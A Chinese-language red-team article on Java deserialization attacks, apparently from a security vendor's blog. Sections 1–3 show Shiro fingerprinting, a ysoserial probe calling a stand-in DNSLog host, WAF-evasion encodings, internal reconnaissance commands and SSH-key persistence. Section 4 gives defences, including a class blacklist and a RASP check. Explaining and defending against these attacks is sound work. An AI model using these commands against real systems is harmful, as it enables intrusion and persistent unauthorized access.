从红队视角拆解Java反序列化攻防实战
当企业安全团队进行内部红蓝对抗演练时,Java反序列化漏洞往往成为攻击方突破边界的关键跳板。在一次典型的渗透测试中,攻击者可能从暴露在公网的Java应用入手,利用Shiro等框架的反序列化缺陷绕过层层防御,最终实现内网横向移动。本文将还原这类攻击的完整技术链路,并给出可落地的防御方案。
1. 目标识别与漏洞探测
在真实的红队行动中,攻击者通常不会盲目扫描整个网络,而是通过指纹识别和特征分析锁定高价值目标。以Apache Shiro框架为例,其默认配置会暴露关键特征:
GET /admin/login HTTP/1.1 Host: target.com Cookie: rememberMe=1若响应头包含Set-Cookie: rememberMe=deleteMe,即可确认目标使用Shiro框架。这种非侵入式检测方式能有效规避基础WAF的防护规则。
对于存在WAF的环境,攻击者会采用分阶段验证策略:
- 先发送无害的测试payload观察响应
- 通过DNSLog等无回显技术验证漏洞
- 逐步增加payload复杂度绕过过滤
例如使用URLDNS链进行盲测:
java -jar ysoserial.jar URLDNS "http://dnslog.example.com" | base64 -w02. 绕过WAF的编码与混淆技术
现代WAF通常具备对常见攻击特征(如Runtime.exec())的检测能力。红队需要针对不同防护层采用相应绕过手段:
2.1 载荷编码方案对比
| 编码类型 | 适用场景 | 示例 |
|---|---|---|
| Base64 | 基础编码需求 | rO0AB... |
| URL编码 | 处理特殊字符 | %AC%ED%00%05 |
| Hex编码 | 规避关键词检测 | \xac\xed\x00\x05 |
| Unicode | 绕过正则匹配 | \u00ac\u00ed |
2.2 分块传输技巧
通过HTTP分块传输编码(chunked)拆分恶意payload:
POST /api HTTP/1.1 Transfer-Encoding: chunked 5 rO0AB 3 XNy ...配合时间延迟参数可进一步绕过行为分析:
Thread.sleep(Math.random() * 3000);3. 内网横向扩展技术
成功获取边界服务器权限后,攻击者通常会进行以下操作:
信息收集:
# 查看网络配置 ifconfig /all # 检查ARP缓存 arp -a # 寻找数据库连接信息 find / -name *.properties利用其他Java服务漏洞:
- Weblogic T3协议反序列化
- Fastjson远程类加载
- Jenkins Groovy沙箱绕过
建立持久化通道:
# 生成SSH密钥对 ssh-keygen -t rsa -b 4096 # 写入目标机authorized_keys echo pubkey >> ~/.ssh/authorized_keys
4. 企业级防御方案设计
针对上述攻击链,建议采用分层防御策略:
4.1 基础防护措施
- 升级Shiro至最新版本(≥1.7.0)
- 修改默认加密密钥
- 禁用不必要的反序列化功能
4.2 高级检测机制
// 自定义ObjectInputStream过滤危险类 public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> BLACKLIST = Set.of("org.apache.commons.collections..."); protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(desc.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt"); } return super.resolveClass(desc); } }4.3 网络层防护
- 对出站DNS请求实施严格管控
- 在内网部署流量镜像分析系统
- 对管理接口实施双因素认证
在一次真实的客户案例中,我们通过部署RASP(运行时应用自保护)技术,成功拦截了攻击者尝试利用JRMP协议进行的横向移动。该方案通过在Java虚拟机层植入探针,能够实时检测异常的反序列化操作:
// RASP检测示例 public class DeserializationMonitor { public static void check(Object obj) { if (obj instanceof Remote) { throw new SecurityException("JRMP connection detected"); } } }对于关键业务系统,建议定期进行反序列化漏洞专项审计,使用工具如SerialKiller进行自动化扫描,同时结合人工代码审查验证修复效果。